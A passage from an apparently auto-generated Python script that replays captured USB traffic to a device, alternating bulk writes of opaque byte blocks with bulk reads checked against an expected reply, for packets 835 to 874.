b\"\\x77\\xCF\\xD6\\xC8\\x6C\\x73\\xB5\\x85\\x2D\\xBE\\x6A\\xDB\\x9A\\xD8\\xA6\\x2C\"\n b\"\\xFE\\x69\\xC5\\xAC\\xF8\\x54\\x58\\x4E\\xD1\\x73\\xBB\\xEB\\xB5\\xD2\\x1D\\xFF\"\n b\"\\x27\\x74\\xE5\\x9E\\x9E\\x34\\xEF\\x3B\\x30\\xD6\\xDB\\x70\\x44\\x99\\x22\\xD0\"\n b\"\\x35\\xCC\\x50\\x16\\xBA\\xB7\\x1A\\xD1\\x04\\x55\\x1B\\xE6\\xD3\\xBC\\x1F\\x53\"\n b\"\\x58\\x11\\x2B\\x9E\\xB4\\x0B\\x52\\x52\\x89\\xEF\\x8C\\xA4\\xEA\\x27\\x91\\x36\"\n b\"\\x57\\xED\\x00\\x5F\\xB6\\xF8\\xC6\\xE6\\x8D\\xEE\\xF5\\x87\\xBA\\x73\\x22\\x46\"\n b\"\\x5E\\x0D\\xA0\\xFB\\x08\\xD1\\x32\\x8D\\x66\\xF2\\x6D\\x93\\xAB\\xB9\\xC2\\x0A\"\n b\"\\x6D\\x75\\x3F\\xAA\\xB8\\xAE\\x56\\x2A\\x80\\x9D\\x6B\\x49\\xD7\\xEE\\xCD\\x85\"\n b\"\\xA6\\xD6\\x18\\x49\\xB6\\x0B\\xCA\\xF2\\x58\\x23\\x95\\x5F\\xC2\\xC8\\xF3\\x23\"\n b\"\\x11\\xDC\\xDB\\x8A\\x61\\x59\\x4B\\x37\\x8C\\xED\\xF5\\x3E\")\n # Generated from packet 835/836\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 835/836\")\n # Generated from packet 837/838\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8A\\x5C\\xEA\\x7F\\xCF\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\\x25\\xCE\\x2E\\xE4\\x40\\x5A\\x8A\"\n b\"\\x85\\xF2\\x54\\x6B\\xEC\\x59\\xF8\\xF8\\xE3\\x79\\xCA\\x9B\\x1E\\x8F\\x4E\\x8A\"\n b\"\\x71\\x98\\xE8\\x79\\x1F\\xCD\\x01\\xB5\\x4F\\x7F\\x66\\x25\\x1E\\x92\\x4E\\xDC\"\n b\"\\x26\\x54\\x86\\xDE\\x94\\xCA\\x5A\\x93\\xC3\\xE3\\x4D\\x8E\\x8C\\x0C\\x0B\\xAB\"\n b\"\\x5D\\x95\\x23\\x27\\x17\\x8C\\xF6\\x66\\x7B\\x4D\\x4B\\x6A\\x0B\\x65\\xA0\\xE8\"\n b\"\\xAF\\x58\\x6C\\x7A\\x14\\x32\\xA8\\x14\\x3C\\xE2\\xE8\\x71\\x67\\xFF\\xD3\\x1C\"\n b\"\\xA3\\xB3\\xA4\\xE6\\xD2\\xF5\\xE8\\x36\\x3D\\x8A\\x15\\x01\\xD6\\x53\\x3D\\x3D\"\n b\"\\x1E\\x65\\xC3\\xAE\\xA6\\x7B\\x55\\x54\\xE4\\xCA\\x87\\x6E\\xB3\\xB6\\xD8\\xB2\"\n b\"\\xC0\\x42\\x47\\xFC\\x74\\xA6\\xC3\\x97\\x7F\\xDA\\xF5\\xF6\\x0D\\x60\\x34\\x64\"\n b\"\\xA3\\xDB\\x9C\\x24\\x82\\x12\\x73\\xF6\\x1C\\x78\\x8A\\x2B\\x6E\\x73\\x0C\\xC0\"\n b\"\\xA2\\x7A\\xB8\\x75\\x8E\\x49\\x59\\x9A\\xFE\\x49\\x7A\\x54\\x7B\\x6A\\x64\\x71\"\n b\"\\xD6\\x50\\x0B\\x72\\x3D\\x9D\\x32\\xDB\\xEB\\xDC\\x7F\\x8E\\x34\\x54\\x8C\\x76\"\n b\"\\xEA\\xE9\\xFF\\xE1\\x19\\x97\\x79\\x0C\\xA2\\x03\\x4F\\xAA\\xA8\\xAA\\xBB\\xAB\"\n b\"\\xBC\\x96\\xC9\\x57\\x3D\\x81\\x28\\xBA\\x13\\x5B\\x89\\xBC\\xCA\\xA9\\x7D\\xE0\"\n b\"\\x0A\\xBE\\x72\\x40\\x7D\\xA6\\xA0\\xFD\\x56\\xBC\\x75\\xC5\\xE4\\x02\\x72\\x3A\"\n b\"\\x3B\\xC5\\x35\\x19\\x54\\x75\\xCD\\xCC\\x85\\x23\\x5A\\x87\\x14\\xAA\\x3F\\x5A\"\n b\"\\x58\\x4B\\xF5\\xF5\\x58\\xDE\\x5D\\xB2\\x73\\x9E\\x41\\x6E\")\n # Generated from packet 839/840\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 839/840\")\n # Generated from packet 841/842\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\xFE\\xCE\\x8C\\x32\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x41\\xF6\\xD5\\xB6\\xB6\\x82\\x2F\"\n b\"\\xB7\\xCF\\x0F\\x55\\xF5\\x83\\x28\\xF7\\xE5\\xD4\\xAB\\x33\\xD9\\x61\\x4E\\x9E\"\n b\"\\x88\\x1A\\x12\\xA4\\xEE\\x96\\xEE\\x63\\x0B\\x88\\x57\\x7F\\x85\\x40\\xC3\\xA8\"\n b\"\\x3F\\x27\\xE9\\x52\\xDD\\x92\\xF3\\xF8\\x6B\\x53\\x0D\\x85\\x2E\\x90\\x4B\\x37\"\n b\"\\x54\\x04\\x3A\\x10\\x55\\x2F\\xAA\\x36\\x09\\x7C\\xC7\\xAD\\x8C\\x7A\\x35\\x53\"\n b\"\\x44\\xE7\\x4A\\x30\\xA7\\x60\\x1D\\x39\\xC0\\x43\\xE0\\x0F\\xB7\\x0D\\xB2\\x5F\"\n b\"\\x83\\x2A\\xC4\\x23\\xFC\\x34\\x43\\x44\\x23\\xF1\\x64\\x3A\\xC2\\x57\\x9C\\xBC\"\n b\"\\x5C\\x9D\\x52\\x95\\x96\\x54\\x65\\xFA\\x59\\x03\\x94\\xEB\\x05\\x99\\x3D\\x2A\"\n b\"\\xDD\\x6A\\x62\\x8C\\x8C\\x18\\x0C\\x51\\x7D\\x8E\\x80\\xDA\\x58\\x7B\\x12\\x2C\"\n b\"\\xCB\\xFB\\x2A\\x08\\xE2\\x75\\x0A\\x56\\x7C\\x52\\xBB\\xCA\\x26\\xD5\\x47\\x62\"\n b\"\\x56\\x41\\xEB\\x12\\xF1\\xAB\\xE2\\xB2\\x7F\\x42\\x89\\xE3\\x27\\xF5\\x06\\xDE\"\n b\"\\x2B\\x5B\\x6E\\x41\\x69\\xF0\\xE8\\x7D\\x14\\xC0\\xD7\\x90\\x09\\xBE\\x9C\\x2F\"\n b\"\\xBC\\x94\\x1C\\xA0\\x1E\\x14\\x8E\\xDC\\x9C\\x58\\x6A\\xD8\\x59\\x2F\\x19\\x29\"\n b\"\\x62\\x6E\\x86\\xE5\\x09\\x6E\\xD3\\xDE\\x5A\\x75\\xA9\\x91\\xCE\\x92\\x22\\x99\"\n b\"\\x9F\\x78\\xE9\\x7D\\xED\\x58\\x80\\x0C\\xE5\\x2D\\x10\\x05\\x23\\x01\\x4D\\x67\"\n b\"\\x35\\x23\\xEC\\x75\\xDA\\xEB\\x81\\x84\\xB1\\x3F\\x96\\x8C\\x56\\x2D\\xBB\\x1E\"\n b\"\\x1E\\x35\\x80\\xA8\\xEC\\xBE\\xFD\\xA8\\x81\\xBF\\x4E\\x6C\")\n # Generated from packet 843/844\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 843/844\")\n # Generated from packet 845/846\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF1\\xD7\\x2D\\x18\\x22\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE7\\xEF\\xD5\\x77\\x9E\\xDC\\x0C\\xD7\"\n b\"\\xE0\\xCA\\xA2\\x8D\\xF0\\xD9\\x86\\x5E\\x72\\xC1\\x65\\xF6\\xAB\\xA4\\xA3\\x33\"\n b\"\\xBF\\x8D\\xA1\\x2E\\x99\\x7F\\x8D\\x47\\x42\\xAA\\x4C\\x00\\x9A\\x16\\x65\\x62\"\n b\"\\x52\\x14\\x8D\\x3C\\x85\\x11\\x24\\x45\\xA1\\x31\\x24\\x94\\xAB\\x96\\x82\\x3C\"\n b\"\\xD7\\xF5\\x7C\\xCC\\xFD\\xCF\\xA9\\xE2\\x92\\x4A\\x5A\\xB3\\x0E\\x5C\\x54\\x2B\"\n b\"\\xF7\\xB7\\x2F\\x30\\x73\\x63\\x58\\xEF\\x6C\\x2F\\xD8\\x24\\x9B\\x89\\xBE\\xD3\"\n b\"\\xEE\\x2B\\x94\\x2F\\xA0\\x22\\xD3\\x68\\xCC\\x93\\x00\\xF8\\x8E\\x06\\x69\\x62\"\n b\"\\xEB\\x92\\xD7\\x11\\xC6\\x07\\xC0\\x26\\x51\\xD0\\x94\\xB1\\x9F\\xF9\\x6B\\x80\"\n b\"\\xEC\\x4F\\x4F\\x9F\\x5A\\x67\\xF3\\x44\\x3B\\x6E\\x57\\x47\\x02\\x06\\x06\\x9D\"\n b\"\\x64\\x96\\x97\\x62\\x77\\x61\\xB1\\x40\\xF1\\x17\\x3A\\x88\\x48\\x76\\xD8\\xC4\"\n b\"\\xCF\\x3F\\x08\\x2E\\x8A\\x30\\xFF\\xBE\\x9D\\x2F\\xF6\\x38\\x52\\xA5\\x28\\x06\"\n b\"\\x9F\\x78\\x04\\x10\\x5C\\x17\\xB5\\xF9\\x71\\xDD\\xB3\\xEE\\x37\\xF2\\x7C\\x6B\"\n b\"\\x31\\x34\\x9D\\xED\\x5F\\xCB\\xCC\\xC5\\x46\\x78\\x38\\x70\\xE1\\x93\\x34\\xFA\"\n b\"\\x24\\xAF\\xD2\\xB6\\x3A\\xFC\\xE9\\x67\\x72\\x69\\xE4\\x5F\\xEB\\xF5\\x2B\\x64\"\n b\"\\x14\\xCB\\x49\\x28\\x8F\\xD0\\x4A\\x10\\x05\\xCB\\x4E\\x20\\x5F\\x74\\xC4\\x6B\"\n b\"\\xB4\\xDF\\x59\\xA1\\x70\\x90\\xCF\\x84\\x54\\xF8\\xDC\\x2A\\x25\\x3C\\x47\\xE0\"\n b\"\\x92\\x70\\x97\\x5A\\xA7\\x3F\\x9D\\x34\\xB4\\x42\\x9D\\xB6\")\n # Generated from packet 847/848\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 847/848\")\n # Generated from packet 849/850\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x88\\xD2\\xBA\\x50\\xF4\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7A\\xD6\\x05\\x1A\\xA4\\x34\\xB5\\x39\"\n b\"\\x01\\x7B\\xBA\\x31\\x53\\xF0\\x7E\\x95\\xAA\\x0D\\x02\\xB7\\xA3\\x28\\x98\\x98\"\n b\"\\x82\\xC5\\xE3\\x29\\x1F\\xBC\\x13\\x9B\\x20\\xCA\\x67\\xD6\\x7A\\xC5\\x9D\\xED\"\n b\"\\x9F\\x11\\x17\\xDD\\xC3\\x5C\\x34\\x1C\\x0C\\x30\\x3B\\x38\\x36\\xB1\\x9E\\xED\"\n b\"\\x51\\x3C\\x4F\\x1E\\x73\\x3F\\xEB\\x65\\x45\\x4E\\xE3\\x47\\x44\\xC3\\x34\\x00\"\n b\"\\x7B\\x2F\\x34\\xDF\\x8C\\x4A\\xD2\\xC7\\x27\\xA8\\xEC\\x34\\x32\\x92\\x76\\xF8\"\n b\"\\xE9\\xE1\\x7E\\xD5\\x33\\xED\\xCB\\x08\\xBC\\x83\\xE1\\x91\\x44\\x5A\\x0A\\x25\"\n b\"\\x38\\xE4\\xA5\\x3F\\x96\\x2D\\x62\\x8E\\x82\\x5E\\x6E\\xB4\\x89\\x14\\xBC\\x1A\"\n b\"\\x70\\x08\\x76\\x19\\x3C\\xB2\\x76\\x79\\x45\\x60\\x82\\xF1\\x28\\xE1\\x5D\\x6C\"\n b\"\\x70\\x93\\x06\\xDE\\x13\\x97\\x29\\x9A\\x89\\xA0\\x61\\x0A\\x2F\\x0C\\x0D\\xA3\"\n b\"\\x6B\\x09\\x77\\xD3\\xA5\\x14\\xDE\\x0B\\xF0\\xF4\\x46\\x86\\x52\\x02\\x5A\\xF6\"\n b\"\\xF8\\x96\\x0D\\x61\\x15\\xB5\\x2F\\xA3\\xF6\\x25\\xCD\\x86\\x4B\\xDF\\x3C\\xF4\"\n b\"\\x06\\x10\\xE6\\x0C\\x3F\\x56\\xAF\\xC9\\xDA\\x45\\xB9\\xF2\\x82\\x49\\x69\\xFE\"\n b\"\\x4A\\x8F\\xDD\\xB7\\xD8\\xB4\\x64\\x49\\x5B\\xCA\\xB6\\xB1\\xF7\\x1C\\x2C\\xE3\"\n b\"\\x05\\x24\\x7C\\x62\\xA7\\x14\\xFA\\x91\\xD7\\xCD\\x5B\\x7D\\xD8\\xC2\\xC0\\x47\"\n b\"\\xC6\\x09\\x22\\x91\\x4D\\xC9\\xEA\\x0C\\x73\\x97\\x24\\xF7\\x9F\\x78\\xDD\\xB2\"\n b\"\\xEE\\x8C\\xF7\\xF7\\xA9\\x97\\x0D\\x73\\x9A\\x4A\\x93\\x07\")\n # Generated from packet 851/852\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 851/852\")\n # Generated from packet 853/854\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x42\\xE7\\xEC\\x1A\\xCC\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAD\\x97\\x5A\\xA9\\x65\\x12\\xFB\\xE7\"\n b\"\\xFE\\xFC\\x08\\x1E\\xF6\\x21\\x02\\x22\\xA7\\xFE\\x75\\x33\\xD8\\x01\\x7C\\x6D\"\n b\"\\xFF\\xEA\\xC0\\x4B\\xC9\\x07\\x7F\\xA8\\x2C\\xEB\\xCC\\xA5\\x26\\x3D\\x99\\xDC\"\n b\"\\xA8\\x57\\x94\\x2B\\xB3\\x8C\\xAF\\x8E\\x73\\xBF\\xEF\\x7E\\x84\\x45\\x21\\x7F\"\n b\"\\x81\\xB4\\xB7\\x10\\x18\\x8F\\x74\\x7E\\x64\\x2E\\x9C\\x7D\\x69\\x3E\\x3B\\xFB\"\n b\"\\x0B\\x03\\x80\\x3C\\x0A\\x0B\\x43\\x5A\\xAF\\xBF\\xFF\\xEE\\x17\\x85\\x2B\\x6F\"\n b\"\\xB2\\x8A\\x08\\x36\\x97\\xD1\\x69\\xD4\\xD2\\xBA\\xEF\\x6B\\x7D\\xAB\\x6C\\xF3\"\n b\"\\x8B\\xE2\\x09\\xD4\\x36\\xC1\\xD5\\xE2\\xE1\\x0E\\x50\\x03\\xB8\\xB3\\x47\\x8E\"\n b\"\\xAD\\x01\\xEC\\x52\\x0F\\x8F\\xF5\\xF6\\x58\\x6B\\xE8\\x85\\x67\\xE6\\x7E\\xA4\"\n b\"\\x9F\\x25\\xBC\\x72\\xDE\\x5E\\xE7\\xB2\\x43\\xAA\\x3D\\xA8\\x5B\\x1C\\x9B\\x8E\"\n b\"\\x93\\xC1\\xE9\\x32\\x07\\x7F\\xF6\\xAF\\xB9\\x34\\x66\\x39\\x28\\x90\\x84\\x8E\"\n b\"\\xBB\\xD1\\x86\\x2D\\xF8\\xD5\\x67\\xC6\\x5F\\xDD\\x88\\xFE\\xF1\\xF1\\x8B\\xD0\"\n b\"\\xCC\\x74\\x45\\x30\\x7B\\xB4\\xFA\\xBF\\x6C\\xF7\\x1B\\x07\\x94\\x2D\\xD8\\x12\"\n b\"\\x23\\xCA\\x80\\x98\\xCA\\xF6\\x67\\xEC\\xFC\\xE0\\x09\\xE4\\xA1\\x0F\\x73\\x00\"\n b\"\\xB9\\x1A\\xFF\\x2A\\xC2\\xBF\\x16\\xC9\\x20\\x9B\\x1B\\x57\\xA1\\x33\\x04\\x71\"\n b\"\\xB5\\x15\\x27\\x9F\\x0A\\x2B\\x6A\\x27\\x39\\x21\\x59\\xF6\\x91\\xEB\\x7A\\x43\"\n b\"\\x16\\xB3\\x09\\x8A\\xE5\\xA0\\x48\\xE3\\x33\\xBA\\x04\\x7F\")\n # Generated from packet 855/856\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 855/856\")\n # Generated from packet 857/858\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE2\\x14\\x65\\xDC\\xCF\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDE\\x89\\xAB\\xD9\\x95\\x15\\xCE\\x48\"\n b\"\\x7B\\x9E\\xAF\\x4F\\xAD\\x14\\x31\\x25\\xD5\\x6D\\xD0\\x8F\\x92\\x35\\x5F\\x46\"\n b\"\\x54\\xA5\\x30\\xCB\\xBD\\x1F\\xB0\\x40\\x83\\xFA\\x61\\x67\\xE0\\x51\\x87\\x10\"\n b\"\\x18\\x2C\\xD3\\x93\\x05\\x78\\x48\\x7C\\x14\\x85\\x80\\xBE\\xEB\\x9B\\xF7\\x6B\"\n b\"\\x67\\xC1\\xAD\\x63\\x23\\xED\\x8E\\x43\\xBF\\xAD\\xD5\\xAC\\x73\\x25\\x17\\x95\"\n b\"\\x78\\xF1\\x10\\x3E\\x71\\x99\\xCD\\x89\\x0B\\xEC\\x84\\xFE\\xD7\\xB7\\x16\\x90\"\n b\"\\x4D\\x15\\xD6\\xCE\\x4E\\x92\\x44\\xC8\\x81\\x72\\x42\\x73\\x80\\x58\\x37\\x2E\"\n b\"\\xAD\\x0A\\xB5\\x66\\xCD\\xD7\\x9A\\x5D\\xE7\\x10\\x61\\x7C\\x86\\xB6\\xAD\\x0E\"\n b\"\\xCE\\x75\\xA3\\x86\\x59\\x2E\\x5A\\x31\\x0D\\xB7\\xAA\\xF4\\x27\\xC7\\x2B\\xD8\"\n b\"\\x77\\x3A\\x0B\\xF1\\x08\\xAB\\xEF\\x8D\\xC7\\x5D\\xCE\\x3D\\x21\\x87\\x65\\x7A\"\n b\"\\xA1\\xBD\\x2A\\xDC\\xDE\\xEF\\x12\\xFA\\xB3\\xB2\\x2A\\x1B\\x16\\xF0\\x76\\xD4\"\n b\"\\x88\\x1C\\x93\\x71\\x80\\x1F\\x1E\\xAF\\x8D\\xAB\\x81\\x46\\x34\\xF3\\xEF\\xEC\"\n b\"\\x8C\\x65\\x95\\x04\\x99\\xE6\\x2A\\xF9\\xEA\\x19\\x43\\x63\\xF6\\x54\\xAA\\x76\"\n b\"\\x4B\\x9D\\x82\\x3B\\x74\\x7D\\xBD\\x08\\x18\\x58\\xEA\\x44\\x32\\x66\\x86\\xAF\"\n b\"\\x97\\x8B\\xB4\\x34\\x1D\\xA7\\x5B\\x9D\\xAC\\x69\\x96\\x64\\xD8\\x67\\x8B\\x27\"\n b\"\\x0F\\xD7\\x4E\\x25\\xDA\\xE3\\x17\\x87\\x52\\x19\\x9F\\x09\\x06\\xDF\\x0E\\x55\"\n b\"\\xB4\\x2D\\xF0\\x51\\x36\\x2F\\x94\\x2C\\x9C\\xB8\\x4A\\x75\")\n # Generated from packet 859/860\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 859/860\")\n # Generated from packet 861/862\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB2\\xD4\\x3D\\x11\\xD3\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\x8F\\xFD\\x44\\xB4\\xA7\\xC9\\x5B\"\n b\"\\x1A\\x64\\x31\\x02\\xBA\\x7F\\x15\\x3D\\x0F\\x3E\\x96\\x27\\x7D\\x6B\\x17\\x1E\"\n b\"\\x80\\xB1\\x55\\x09\\x6D\\x44\\x94\\x89\\x5B\\x88\\xBD\\x69\\x1C\\xA8\\x8C\\x0B\"\n b\"\\xA6\\x04\\xAF\\x1D\\xE3\\xFC\\x25\\x92\\xFE\\x0B\\x2A\\x53\\x57\\xAE\\xEA\\x7E\"\n b\"\\x89\\xBA\\x40\\x85\\x7F\\xF7\\x5C\\xBC\\x5E\\x10\\x54\\x6C\\xEF\\x3F\\x5C\\x01\"\n b\"\\x96\\xFF\\x8C\\x77\\x8C\\x0A\\x47\\xDA\\x88\\xB8\\xD8\\xBB\\xE4\\xD0\\xFE\\xEB\"\n b\"\\x9B\\xAC\\xAA\\xB9\\xA5\\xCA\\x57\\xA7\\x65\\x7E\\x81\\xB2\\x1F\\x59\\xF3\\xE9\"\n b\"\\x2D\\xEA\\x10\\xED\\x3A\\x5B\\xAB\\x91\\x2D\\xF5\\xE2\\x01\\x8F\\xEA\\x24\\x07\"\n b\"\\xFF\\x01\\x65\\x8A\\x1C\\x05\\x02\\xF8\\x46\\x6B\\x8D\\xCC\\x8F\\x3A\\x9D\\xB3\"\n b\"\\xC0\\xB7\\xBE\\xDF\\x14\\xBA\\x38\\x07\\xC6\\x5C\\x51\\xB8\\x34\\xB3\\x55\\xC7\"\n b\"\\x5D\\xC3\\x1F\\x77\\x00\\x0E\\x0D\\x42\\xAA\\x33\\x11\\x1C\\x80\\xA3\\xD4\\x7E\"\n b\"\\x76\\x31\\xA4\\x39\\x33\\x04\\xC7\\x9E\\xFD\\x0C\\x1A\\x3D\\x75\\x07\\x27\\xFF\"\n b\"\\x0B\\x50\\x75\\xD1\\x2C\\xC9\\xDA\\x17\\x39\\x3D\\x5B\\xFF\\xD6\\xFF\\xAE\\x37\"\n b\"\\xB3\\x35\\xB5\\xCC\\x3D\\x80\\x1E\\x85\\x2F\\x98\\x13\\xE7\\x9D\\x1C\\xD5\\xA9\"\n b\"\\x21\\x48\\xCD\\xF6\\x01\\xA8\\x0D\\x0F\\xED\\xC1\\xF3\\x5E\\xD5\\x7D\\x77\\x4D\"\n b\"\\x8E\\x7E\\x4A\\x56\\x2B\\x41\\xF1\\x7E\\x89\\x6B\\xF8\\xE3\\xA0\\xAD\\xA0\\xEE\"\n b\"\\x3D\\xD1\\x08\\x2A\\x00\\x63\\x93\\x13\\x73\\xAA\\x68\\x6D\")\n # Generated from packet 863/864\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 863/864\")\n # Generated from packet 865/866\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB2\\xD3\\x2A\\x62\\x90\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\xA2\\x58\\x82\\xD8\\xA7\\x3D\\x6B\"\n b\"\\x78\\x09\\xE3\\x16\\xDD\\x1D\\xA0\\x05\\x79\\x1E\\x8B\\x2C\\xBC\\x66\\x53\\xDF\"\n b\"\\xFB\\xB6\\x09\\xAE\\x7D\\xBC\\x51\\xA4\\x6F\\xCF\\xE4\\x34\\x3A\\xD1\\x39\\xFA\"\n b\"\\xBC\\xBA\\xAA\\x45\\x5B\\xD4\\xF2\\x63\\x76\\x89\\xEB\\x7C\\x54\\xE1\\x79\\xCC\"\n b\"\\x8B\\x1C\\x2E\\xF7\\xDB\\x82\\x5E\\x2D\\xDC\\xBE\\xB2\\xFB\\x65\\x8C\\x60\\x55\"\n b\"\\xE0\\xC7\\xEC\\xE2\\x01\\xBF\\x65\\x03\\xBB\\x28\\x72\\x6F\\x0E\\x28\\x1C\\xE1\"\n b\"\\xAF\\xBE\\x4E\\xA1\\x3F\\xEB\\x53\\x96\\x9F\\x50\\x46\\x76\\xC6\\xC8\\xAF\\x8C\"\n b\"\\xB7\\x20\\xB9\\x80\\xF3\\x5D\\xEB\\xF7\\x64\\x3C\\xB3\\xDD\\x7E\\x15\\x94\\xD8\"\n b\"\\x0A\\x3F\\x84\\x11\\x34\\x7E\\x38\\xFF\\x27\\x22\\x38\\x7E\\xC3\\x73\\x76\\x9C\"\n b\"\\xFD\\x18\\x4E\\x78\\x00\\x02\\xEF\\x26\\xD8\\xFA\\x92\\x97\\x7B\\xD2\\xB6\\x7F\"\n b\"\\x1C\\xC1\\x47\\x13\\xBF\\x82\\xB2\\xD1\\x35\\x8F\\x12\\x73\\x4C\\x92\\xA2\\xCA\"\n b\"\\xCB\\x68\\xA2\\xC2\\xD7\\x31\\x5E\\x02\\x27\\x2B\\x39\\xA4\\x4A\\xB9\\xC5\\x14\"\n b\"\\x89\\xF9\\x45\\x1A\\xFA\\x39\\x36\\x72\\x8D\\x96\\xE1\\x36\\xA2\\x88\\xEB\\xD6\"\n b\"\\xBA\\xA3\\xD0\\xD7\\x9B\\xA2\\x16\\xDF\\xCB\\xBE\\x87\\x32\\xEC\\x5A\\xFF\\x9C\"\n b\"\\x59\\xD5\\x07\\x11\\x05\\x9A\\x34\\x51\\x8D\\xD9\\x9F\\x2E\\x08\\x55\\x72\\xB2\"\n b\"\\x3D\\x71\\x9B\\x25\\x09\\xD7\\xAC\\xBA\\xC3\\xD0\\xA2\\x76\\x9E\\x72\\x74\\xF4\"\n b\"\\x1B\\xCA\\x84\\x95\\xF1\\xE7\\x7B\\x77\\x9D\\x85\\x9A\\x9C\")\n # Generated from packet 867/868\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 867/868\")\n # Generated from packet 869/870\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\x27\\x23\\x5B\\x2D\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\xB1\\x7C\\xDE\\xE3\\x16\\x61\\xCF\"\n b\"\\x46\\x3A\\x43\\xCD\\xD6\\xC9\\xA4\\x89\\x4E\\x20\\x19\\xB0\\x39\\x7F\\xE1\\x92\"\n b\"\\x1A\\x01\\xB3\\xBD\\x9A\\x96\\x3C\\xE6\\xCD\\x81\\xC6\\xF8\\x3F\\xA7\\xF0\\x0C\"\n b\"\\xAB\\xFA\\xB1\\xFE\\x29\\x2A\\x34\\xA3\\x3B\\x3B\\x3E\\xB9\\x83\\x44\\xBC\\x3F\"\n b\"\\x4A\\x21\\x60\\xFF\\x6A\\x68\\x35\\x63\\x6F\\xB4\\x95\\x5F\\x90\\x01\\x55\\x4F\"\n b\"\\x5F\\x68\\x67\\xB7\\x0C\\xC5\\x96\\x42\\x38\\xC6\\x50\\xB9\\x2C\\x8E\\x03\\x70\"\n b\"\\xC4\\x42\\x84\\xD1\\x18\\xE0\\x11\\xA9\\xD0\\x9B\\x13\\x13\\x74\\x9D\\x91\\xC4\"\n b\"\\x85\\x68\\x26\\x6D\\x6B\\x5F\\x4E\\xF1\\xB0\\xB9\\x4F\\x80\\x62\\xEA\\xCA\\x96\"\n b\"\\x90\\x14\\x02\\x0B\\xEB\\x13\\xE1\\x8C\\xB0\\xBC\\x63\\x8F\\xEE\\x5E\\x64\\x78\"\n b\"\\xF8\\x47\\x0A\\x13\\xEC\\x3F\\x78\\x37\\x33\\x3F\\xD2\\x53\\x43\\xE9\\xD1\\xBF\"\n b\"\\x89\\xD7\\x4E\\xFE\\x0E\\x2A\\xC6\\xCC\\xD6\\x23\\x1F\\xF3\\xE8\\xDB\\x43\\xE4\"\n b\"\\xCC\\x91\\xE0\\x59\\x39\\x34\\xB8\\x5E\\xAD\\xA6\\xD3\\x9B\\x0C\\xDA\\xB4\\xD1\"\n b\"\\x83\\xAD\\xD8\\x29\\x50\\x37\\xD4\\x0D\\xA6\\xE9\\x79\\xA6\\x6B\\xDA\\xE3\\x5F\"\n b\"\\x3F\\x54\\x4B\\x66\\x6A\\xF9\\x2A\\xED\\x44\\x75\\x53\\x86\\xE1\\x8A\\x8B\\x99\"\n b\"\\xE9\\x27\\xF2\\xCE\\xCB\\x06\\x23\\xDE\\x0C\\xF1\\xC7\\x07\\xA5\\x0A\\x23\\x75\"\n b\"\\xFF\\x05\\x9C\\xF8\\x9F\\x4E\\x23\\x39\\xD4\\x91\\x82\\x70\\xA6\\x8F\\x41\\xA1\"\n b\"\\xC4\\x1B\\xE0\\x36\\xBE\\x18\\x91\\xAD\\xB7\\x09\\x3B\\xE8\")\n # Generated from packet 871/872\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 871/872\")\n # Generated from packet 873/874\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x71\\x1B\\x71\\x24\\x48\\x60\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\x7C\\xE6\\x54\\x26\\xB7\\x80\\x06\"\n 